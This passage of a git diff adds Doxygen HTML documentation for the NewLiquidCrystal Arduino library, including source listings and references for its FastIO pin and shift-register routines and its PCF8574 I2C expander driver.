+00028 //  support chipkit:
+00029 // (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/
+00030 //   cores/pic32/wiring_digital.c)
+00031 // ---------------------------------------------------------------------------
+00032 #include "FastIO.h"
+00033 
+00034 
+00035 fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state)
+00036 {
+00037         pinMode(pin, OUTPUT);
+00038    
+00039         if(initial_state != SKIP) 
+00040    {
+00041       digitalWrite(pin, initial_state); // also turns off pwm timer
+00042    }
+00043 #ifdef FIO_FALLBACK
+00044         //  just wasting memory if not using fast io...
+00045         return 0;
+00046 #else
+00047         return portOutputRegister(digitalPinToPort(pin));
+00048 #endif
+00049 }
+00050 
+00051 
+00052 fio_register fio_pinToInputRegister(uint8_t pin)
+00053 {
+00054         pinMode(pin, INPUT);
+00055         digitalWrite(pin, LOW); // also turns off pwm timer and pullup
+00056 #ifdef FIO_FALLBACK
+00057         //  just wasting memory if not using fast io...
+00058         return 0;
+00059 #else
+00060         return portInputRegister(digitalPinToPort(pin));
+00061 #endif
+00062 }
+00063 
+00064 
+00065 fio_bit fio_pinToBit(uint8_t pin)
+00066 {
+00067 #ifdef FIO_FALLBACK
+00068         // (ab)use the bit variable to store the pin
+00069         return pin;
+00070 #else
+00071         return digitalPinToBitMask(pin);
+00072 #endif
+00073 }
+00074 
+00075 
+00076 void fio_digitalWrite(fio_register pinRegister, fio_bit pinBit, uint8_t value) 
+00077 {
+00078 #ifdef FIO_FALLBACK
+00079         digitalWrite(pinBit, value);
+00080 #else
+00081    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00082    {
+00083       if(value == LOW)
+00084       {
+00085          fio_digitalWrite_LOW(pinRegister,pinBit);
+00086       }
+00087       else
+00088       {
+00089          fio_digitalWrite_HIGH(pinRegister,pinBit);
+00090       }
+00091    }
+00092 #endif
+00093 }
+00094 
+00095 int fio_digitalRead(fio_register pinRegister, uint8_t pinBit)
+00096 {
+00097 #ifdef FIO_FALLBACK
+00098         return digitalRead (pinBit);
+00099 #else
+00100         if (*pinRegister & pinBit)
+00101    {
+00102       return HIGH;
+00103    }
+00104         return LOW;
+00105 #endif
+00106 }
+00107 
+00108 void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, 
+00109                    fio_register clockRegister, fio_bit clockBit, 
+00110                    uint8_t value, uint8_t bitOrder)
+00111 {
+00112         // # disable interrupts
+00113         int8_t i;
+00114    
+00115         if(bitOrder == LSBFIRST)
+00116         {
+00117                 for(i = 0; i < 8; i++)
+00118                 {
+00119                         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00120                         {
+00121                                 if(value & 1)
+00122             {
+00123                fio_digitalWrite_HIGH(dataRegister, dataBit);
+00124                                 }
+00125             else
+00126             {
+00127                fio_digitalWrite_LOW(dataRegister, dataBit);
+00128             }
+00129             value >>= 1;
+00130                                 fio_digitalWrite_HIGH (clockRegister, clockBit);
+00131                                 fio_digitalWrite_LOW (clockRegister,clockBit);
+00132                         }
+00133                 }
+00134       
+00135         }
+00136         else
+00137         {
+00138                 for(i = 0; i < 8; i++)
+00139                 {
+00140                         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00141                         {
+00142                                 if(value & 0x80)
+00143             {
+00144                fio_digitalWrite_HIGH(dataRegister, dataBit);
+00145                                 }
+00146             else
+00147             {
+00148                fio_digitalWrite_LOW(dataRegister, dataBit);
+00149             }
+00150                                 value <<= 1;
+00151                                 fio_digitalWrite_HIGH (clockRegister, clockBit);
+00152                                 fio_digitalWrite_LOW (clockRegister,clockBit);
+00153                         }
+00154                 }
+00155         }
+00156 }
+00157 
+00158 
+00159 void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, 
+00160                   fio_register clockRegister, fio_bit clockBit)
+00161 {
+00162    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00163    {
+00164       // shift out 0x0 (B00000000) fast, byte order is irrelevant
+00165       fio_digitalWrite_LOW (dataRegister, dataBit);
+00166       
+00167       for(uint8_t i = 0; i<8; ++i)
+00168       {
+00169          fio_digitalWrite_HIGH (clockRegister, clockBit);
+00170          fio_digitalWrite_SWITCH (clockRegister, clockBit);
+00171       }
+00172    }
+00173 }
+00174 
+00175 
+00176 void fio_shiftOut1_init(uint8_t pin)
+00177 {
+00178         fio_shiftOut1_init(fio_pinToOutputRegister(pin,HIGH),fio_pinToBit(pin));
+00179 }
+00180 
+00181 void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit)
+00182 {
+00183         // Make sure that capacitors are charged
+00184         // 300us is an educated guess...
+00185         fio_digitalWrite(shift1Register,shift1Bit,HIGH);
+00186         delayMicroseconds(300);
+00187 }
+00188 
+00189 
+00190 void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, 
+00191                    boolean noLatch)
+00192 {
+00193         /*
+00194          * this function are based on Shif1 protocol developed by Roman Black 
+00195     *    (http://www.romanblack.com/shift1.htm)
+00196          *
+00197          * test sketches:
+00198          *      http://pastebin.com/raw.php?i=2hnC9v2Z
+00199          *      http://pastebin.com/raw.php?i=bGg4DhXQ
+00200          *      http://pastebin.com/raw.php?i=tg1ZFiM5
+00201          *    http://pastebin.com/raw.php?i=93ExPDD3 - cascading
+00202          * tested with:
+00203          *      TPIC6595N - seems to work fine (circuit: http://www.3guys1laser.com/
+00204     *                   arduino-one-wire-shift-register-prototype)
+00205          *      7HC595N
+00206          */
+00207    
+00208         // iterate but ignore last bit (is it correct now?)
+00209         for(int8_t i = 7; i>=0; --i)
+00210    {
+00211       
+00212                 // assume that pin is HIGH (smokin' pot all day... :) - requires 
+00213       // initialization
+00214                 if(value & _BV(i))
+00215       {
+00216          ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00217          {
+00218             // HIGH = 1 Bit
+00219             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00220             //hold pin LOW for 1us - done! :)
+00221             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH);
+00222          } // end critical section
+00223          //hold pin HIGH for 15us
+00224          delayMicroseconds(15);
+00225                 }
+00226       else
+00227       {
+00228          ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00229          {
+00230             // LOW = 0 Bit
+00231             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00232             // hold pin LOW for 15us
+00233             delayMicroseconds(15);
+00234             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH);
+00235          } // end critical section
+00236          
+00237          // hold pin HIGH for 30us
+00238          delayMicroseconds(30);         
+00239                 }
+00240                 if(!noLatch && i==1)
+00241       {
+00242          break;
+00243       }
+00244         }
+00245    
+00246         if(!noLatch)
+00247    {
+00248       ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00249       {
+00250          // send last bit (=LOW) and Latch command
+00251          fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00252       } // end critical section
+00253       delayMicroseconds(199);           // Hold pin low for 200us
+00254       
+00255       ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00256       {
+00257          fio_digitalWrite_HIGH(shift1Register,shift1Bit);
+00258       } // end critical section
+00259                 delayMicroseconds(299);   // Hold pin high for 300us and leave it that 
+00260       // way - using explicit HIGH here, just in case.
+00261         }
+00262 }
+00263 
+00264 void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch)
+00265 {
+00266         fio_shiftOut1(fio_pinToOutputRegister(pin, SKIP),fio_pinToBit(pin),value, noLatch);
+00267 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h.html new file mode 100644 index 0000000..8137412 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h.html @@ -0,0 +1,813 @@ + + + + +LCD Library: FastIO.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Defines | +Typedefs | +Functions
+
+
FastIO.h File Reference
+
+
+
#include <WProgram.h>
+#include <pins_arduino.h>
+#include <inttypes.h>
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + + + + + + + + + + + + + +

+Defines

#define ATOMIC_BLOCK(dummy)   if(true)
#define ATOMIC_RESTORESTATE
#define fio_digitalWrite_HIGH(reg, bit)   digitalWrite(bit,HIGH)
#define fio_digitalWrite_LOW(reg, bit)   digitalWrite(bit,LOW)
#define fio_digitalWrite_SWITCH(reg, bit)   digitalWrite(bit, !digitalRead(bit))
#define fio_digitalWrite_SWITCHTO(reg, bit, val)   digitalWrite(bit,val);
#define FIO_FALLBACK
#define SKIP   0x23

+Typedefs

typedef uint8_t fio_bit
typedef uint8_t fio_register

+Functions

int fio_digitalRead (fio_register pinRegister, fio_bit pinBit)
void fio_digitalWrite (fio_register pinRegister, fio_bit pinBit, uint8_t value)
fio_bit fio_pinToBit (uint8_t pin)
fio_register fio_pinToInputRegister (uint8_t pin)
fio_register fio_pinToOutputRegister (uint8_t pin, uint8_t initial_state=LOW)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit, uint8_t value, uint8_t bitOrder)
void fio_shiftOut1 (fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch=false)
void fio_shiftOut1 (uint8_t pin, uint8_t value, boolean noLatch=false)
void fio_shiftOut1_init (fio_register shift1Register, fio_bit shift1Bit)
void fio_shiftOut1_init (uint8_t pin)
+

Define Documentation

+ +
+
+ + + + + + + + +
#define ATOMIC_BLOCK( dummy)   if(true)
+
+
+ +

Definition at line 58 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define ATOMIC_RESTORESTATE
+
+
+ +

Definition at line 59 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_HIGH( reg,
 bit 
)   digitalWrite(bit,HIGH)
+
+
+

This is where the magic happens that makes things fast. Implemented as preprocessor directives to force inlining SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known.

+ +

Definition at line 143 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_LOW( reg,
 bit 
)   digitalWrite(bit,LOW)
+
+
+ +

Definition at line 144 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_SWITCH( reg,
 bit 
)   digitalWrite(bit, !digitalRead(bit))
+
+
+ +

Definition at line 145 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_SWITCHTO( reg,
 bit,
 val 
)   digitalWrite(bit,val);
+
+
+ +

Definition at line 146 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define FIO_FALLBACK
+
+
+ +

Definition at line 57 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define SKIP   0x23
+
+
+ +

Definition at line 42 of file FastIO.h.

+ +
+
+

Typedef Documentation

+ +
+
+ + + + +
typedef uint8_t fio_bit
+
+
+ +

Definition at line 60 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
typedef uint8_t fio_register
+
+
+ +

Definition at line 61 of file FastIO.h.

+ +
+
+

Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
int fio_digitalRead (fio_register pinRegister,
fio_bit pinBit 
)
+
+
+

direct digital read without any checks falls back to normal digitalRead if fast io is disabled

+
Parameters:
+ + + +
pinRegister[in]Register - ignored if fast io is disabled
pinBit[in]Bit - Pin if fast io is disabled
+
+
+
Returns:
Value read from pin
+ +

Definition at line 95 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_digitalWrite (fio_register pinRegister,
fio_bit pinBit,
uint8_t value 
)
+
+
+

direct digital write without any checks falls back to normal digitalWrite if fast io is disabled

+
Parameters:
+ + + + +
pinRegister[in]Register - ignored if fast digital write is disabled
pinBit[in]Bit - Pin if fast digital write is disabled
value[in]desired output
+
+
+ +

Definition at line 76 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_bit fio_pinToBit (uint8_t pin)
+
+
+

Find the bit which belongs to specified pin if fast digitalWrite is disabled this function returns the pin

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Bit
+ +

Definition at line 65 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_register fio_pinToInputRegister (uint8_t pin)
+
+
+

Get the input register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 52 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
fio_register fio_pinToOutputRegister (uint8_t pin,
uint8_t initial_state = LOW 
)
+
+
+

Get the output register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 35 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit 
)
+
+
+

faster shift out clear using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
+
+
+ +

Definition at line 159 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit,
uint8_t value,
uint8_t bitOrder 
)
+
+
+

faster shift out using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
bitOrder[in]bit order
+
+
+ +

Definition at line 108 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (fio_register shift1Register,
fio_bit shift1Bit,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 190 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (uint8_t pin,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + +
pin[in]digital pin
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 264 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void fio_shiftOut1_init (fio_register shift1Register,
fio_bit shift1Bit 
)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
+
+
+ +

Definition at line 181 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void fio_shiftOut1_init (uint8_t pin)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + +
pin[in]digital pin
+
+
+ +

Definition at line 176 of file FastIO.cpp.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h_source.html new file mode 100644 index 0000000..3e5100d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h_source.html @@ -0,0 +1,222 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/FastIO.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/FastIO.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Florian Fida on 20/01/12
+
3 // Copyright 2012 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 // http://creativecommons.org/licenses/by-sa/3.0/
+
6 //
+
7 // This software is furnished "as is", without technical support, and with no
+
8 // warranty, express or implied, as to its usefulness for any purpose.
+
9 // ---------------------------------------------------------------------------
+
10 // fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black
+
11 // (http://www.romanblack.com/shift1.htm)
+
12 //
+
13 // Thread Safe: No
+
14 // Extendable: Yes
+
15 //
+
16 // @file FastIO.h
+
17 // This file implements basic fast IO routines.
+
18 //
+
19 // @brief
+
20 //
+
21 // @version API 1.0.0
+
22 //
+
23 // @author Florian Fida -
+
24 // 2012-03-16 bperrybap mods for chipkit32 (pic32) Arduino
+
25 // support chipkit:
+
26 // (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/
+
27 // cores/pic32/wiring_digital.c)
+
28 // ---------------------------------------------------------------------------
+
29 #ifndef _FAST_IO_H_
+
30 #define _FAST_IO_H_
+
31 
+
32 #if (ARDUINO < 100)
+
33 #include <WProgram.h>
+
34 #else
+
35 #include <Arduino.h>
+
36 #endif
+
37 
+
38 #include <pins_arduino.h> // pleasing sanguino core
+
39 #include <inttypes.h>
+
40 
+
41 
+
42 #define SKIP 0x23
+
43 
+
44 #if defined (__AVR__)
+
45 #include <util/atomic.h> // for critical section management
+
46 typedef uint8_t fio_bit;
+
47 typedef volatile uint8_t *fio_register;
+
48 
+
49 
+
50 #elif defined(__PIC32MX__)
+
51 typedef uint32_t fio_bit;
+
52 typedef volatile uint32_t *fio_register;
+
53 
+
54 
+
55 #else
+
56 // fallback to Arduino standard digital i/o routines
+
57 #define FIO_FALLBACK
+
58 #define ATOMIC_BLOCK(dummy) if(true)
+
59 #define ATOMIC_RESTORESTATE
+
60 typedef uint8_t fio_bit;
+
61 typedef uint8_t fio_register;
+
62 #endif
+
63 
+
64 
+
65 
+
66 #if !defined(FIO_FALLBACK) && !defined(ATOMIC_BLOCK)
+
67 /*
+
68  * Define an ATOMIC_BLOCK that implements ATOMIC_FORCEON type
+
69  * Using the portable Arduino interrupts() and noInterrupts()
+
70  */
+
71 #define ATOMIC_RESTORESTATE ATOMIC_FORCEON // sorry, no support for save/restore yet.
+
72 #define ATOMIC_FORCEON uint8_t sreg_save \
+
73  __attribute__((__cleanup__(__iSeiParam))) = 0
+
74 
+
75 static __inline__ uint8_t __iCliRetVal(void)
+
76 {
+
77  noInterrupts();
+
78  return(1);
+
79 }
+
80 static __inline__ void __iSeiParam(const uint8_t *__s)
+
81 {
+
82  interrupts();
+
83 }
+
84 #define ATOMIC_BLOCK(type) for(type, __Todo = __iCliRetVal(); __Todo; __Todo = 0)
+
85 
+
86 #endif // end of block to create compatible ATOMIC_BLOCK()
+
87 
+
88 
+
89 
+
97 fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state = LOW);
+
98 
+
106 fio_register fio_pinToInputRegister(uint8_t pin);
+
107 
+
115 fio_bit fio_pinToBit(uint8_t pin);
+
116 
+
117 
+
127 // __attribute__ ((always_inline)) /* let the optimizer decide that for now */
+
128 void fio_digitalWrite ( fio_register pinRegister, fio_bit pinBit, uint8_t value );
+
129 
+
136 #ifndef FIO_FALLBACK
+
137 #define fio_digitalWrite_LOW(reg,bit) *reg &= ~bit
+
138 #define fio_digitalWrite_HIGH(reg,bit) *reg |= bit
+
139 #define fio_digitalWrite_SWITCH(reg,bit) *reg ^= bit
+
140 #define fio_digitalWrite_SWITCHTO(reg,bit,val) fio_digitalWrite_SWITCH(reg,bit)
+
141 #else
+
142 // reg -> dummy NULL, bit -> pin
+
143 #define fio_digitalWrite_HIGH(reg,bit) digitalWrite(bit,HIGH)
+
144 #define fio_digitalWrite_LOW(reg,bit) digitalWrite(bit,LOW)
+
145 #define fio_digitalWrite_SWITCH(reg,bit) digitalWrite(bit, !digitalRead(bit))
+
146 #define fio_digitalWrite_SWITCHTO(reg,bit,val) digitalWrite(bit,val);
+
147 #endif
+
148 
+
158 int fio_digitalRead ( fio_register pinRegister, fio_bit pinBit );
+
159 
+
171 void fio_shiftOut( fio_register dataRegister, fio_bit dataBit, fio_register clockRegister,
+
172  fio_bit clockBit, uint8_t value, uint8_t bitOrder );
+
173 
+
184 void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit);
+
185 
+
194 void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch = false);
+
202 void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch = false);
+
210 void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit);
+
217 void fio_shiftOut1_init(uint8_t pin);
+
218 
+
219 #endif // FAST_IO_H
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp.html new file mode 100644 index 0000000..0b5ae7c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp.html @@ -0,0 +1,119 @@ + + + + +LCD Library: I2CIO.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
I2CIO.cpp File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include <../Wire/Wire.h>
+#include "I2CIO.h"
+
+

Go to the source code of this file.

+ +
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp_source.html new file mode 100644 index 0000000..f1198cf --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp_source.html @@ -0,0 +1,309 @@ + + + + +LCD Library: I2CIO.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
I2CIO.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file I2CIO.h
+00013 // This file implements a basic IO library using the PCF8574 I2C IO Expander
+00014 // chip.
+00015 // 
+00016 // @brief 
+00017 // Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC.
+00018 // The library implements basic IO general methods to configure IO pin direction
+00019 // read and write uint8_t operations and basic pin level routines to set or read
+00020 // a particular IO port.
+00021 //
+00022 //
+00023 // @version API 1.0.0
+00024 //
+00025 // @author F. Malpartida - fmalpartida@gmail.com
+00026 // ---------------------------------------------------------------------------
+00027 #if (ARDUINO <  100)
+00028 #include <WProgram.h>
+00029 #else
+00030 #include <Arduino.h>
+00031 #endif
+00032 
+00033 #include <inttypes.h>
+00034 
+00035 #include <../Wire/Wire.h>
+00036 #include "I2CIO.h"
+00037 
+00038 // CLASS VARIABLES
+00039 // ---------------------------------------------------------------------------
+00040 
+00041 
+00042 // CONSTRUCTOR
+00043 // ---------------------------------------------------------------------------
+00044 I2CIO::I2CIO ( )
+00045 {
+00046    _i2cAddr     = 0x0;
+00047    _dirMask     = 0xFF;    // mark all as INPUTs
+00048    _shadow      = 0x0;     // no values set
+00049    _initialised = false;
+00050 }
+00051 
+00052 // PUBLIC METHODS
+00053 // ---------------------------------------------------------------------------
+00054 
+00055 //
+00056 // begin
+00057 int I2CIO::begin (  uint8_t i2cAddr )
+00058 {
+00059    _i2cAddr = i2cAddr;
+00060    
+00061    Wire.begin ( );
+00062       
+00063    _initialised = Wire.requestFrom ( _i2cAddr, (uint8_t)1 );
+00064 
+00065 #if (ARDUINO <  100)
+00066    _shadow = Wire.receive ();
+00067 #else
+00068    _shadow = Wire.read (); // Remove the byte read don't need it.
+00069 #endif
+00070    
+00071    return ( _initialised );
+00072 }
+00073 
+00074 //
+00075 // pinMode
+00076 void I2CIO::pinMode ( uint8_t pin, uint8_t dir )
+00077 {
+00078    if ( _initialised )
+00079    {
+00080       if ( OUTPUT == dir )
+00081       {
+00082          _dirMask &= ~( 1 << pin );
+00083       }
+00084       else 
+00085       {
+00086          _dirMask |= ( 1 << pin );
+00087       }
+00088    }
+00089 }
+00090 
+00091 //
+00092 // portMode
+00093 void I2CIO::portMode ( uint8_t dir )
+00094 {
+00095    
+00096    if ( _initialised )
+00097    {
+00098       if ( dir == INPUT )
+00099       {
+00100          _dirMask = 0xFF;
+00101       }
+00102       else
+00103       {
+00104          _dirMask = 0x00;
+00105       }
+00106    }
+00107 }
+00108 
+00109 //
+00110 // read
+00111 uint8_t I2CIO::read ( void )
+00112 {
+00113    uint8_t retVal = 0;
+00114    
+00115    if ( _initialised )
+00116    {
+00117       Wire.requestFrom ( _i2cAddr, (uint8_t)1 );
+00118 #if (ARDUINO <  100)
+00119       retVal = ( _dirMask & Wire.receive ( ) );
+00120 #else
+00121       retVal = ( _dirMask & Wire.read ( ) );
+00122 #endif      
+00123       
+00124    }
+00125    return ( retVal );
+00126 }
+00127 
+00128 //
+00129 // write
+00130 int I2CIO::write ( uint8_t value )
+00131 {
+00132    int status = 0;
+00133    
+00134    if ( _initialised )
+00135    {
+00136       // Only write HIGH the values of the ports that have been initialised as
+00137       // outputs updating the output shadow of the device
+00138       _shadow = ( value & ~(_dirMask) );
+00139    
+00140       Wire.beginTransmission ( _i2cAddr );
+00141 #if (ARDUINO <  100)
+00142       Wire.send ( _shadow );
+00143 #else
+00144       Wire.write ( _shadow );
+00145 #endif  
+00146       status = Wire.endTransmission ();
+00147    }
+00148    return ( (status == 0) );
+00149 }
+00150 
+00151 //
+00152 // digitalRead
+00153 uint8_t I2CIO::digitalRead ( uint8_t pin )
+00154 {
+00155    uint8_t pinVal = 0;
+00156    
+00157    // Check if initialised and that the pin is within range of the device
+00158    // -------------------------------------------------------------------
+00159    if ( ( _initialised ) && ( pin <= 7 ) )
+00160    {
+00161       // Remove the values which are not inputs and get the value of the pin
+00162       pinVal = this->read() & _dirMask;
+00163       pinVal = ( pinVal >> pin ) & 0x01; // Get the pin value
+00164    }
+00165    return (pinVal);
+00166 }
+00167 
+00168 //
+00169 // digitalWrite
+00170 int I2CIO::digitalWrite ( uint8_t pin, uint8_t level )
+00171 {
+00172    uint8_t writeVal;
+00173    int status = 0;
+00174    
+00175    // Check if initialised and that the pin is within range of the device
+00176    // -------------------------------------------------------------------
+00177    if ( ( _initialised ) && ( pin <= 7 ) )
+00178    {
+00179       // Only write to HIGH the port if the port has been configured as
+00180       // an OUTPUT pin. Add the new state of the pin to the shadow
+00181       writeVal = ( 1 << pin ) & ~_dirMask;
+00182       if ( level == HIGH )
+00183       {
+00184          _shadow |= writeVal;
+00185                                                       
+00186       }
+00187       else 
+00188       {
+00189          _shadow &= ~writeVal;
+00190       }
+00191       status = this->write ( _shadow );
+00192    }
+00193    return ( status );
+00194 }
+00195 
+00196 //
+00197 // PRIVATE METHODS
+00198 // ---------------------------------------------------------------------------
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h.html new file mode 100644 index 0000000..b49a933 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h.html @@ -0,0 +1,141 @@ + + + + +LCD Library: I2CIO.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Classes | +Defines
+
+
I2CIO.h File Reference
+
+
+
#include <inttypes.h>
+
+

Go to the source code of this file.

+ + + + + +

+Classes

class  I2CIO

+Defines

#define _I2CIO_VERSION   "1.0.0"
+

Define Documentation

+ +
+
+ + + + +
#define _I2CIO_VERSION   "1.0.0"
+
+
+ +

Definition at line 32 of file I2CIO.h.

+ +
+
+
+
+ + + + + +
+ +
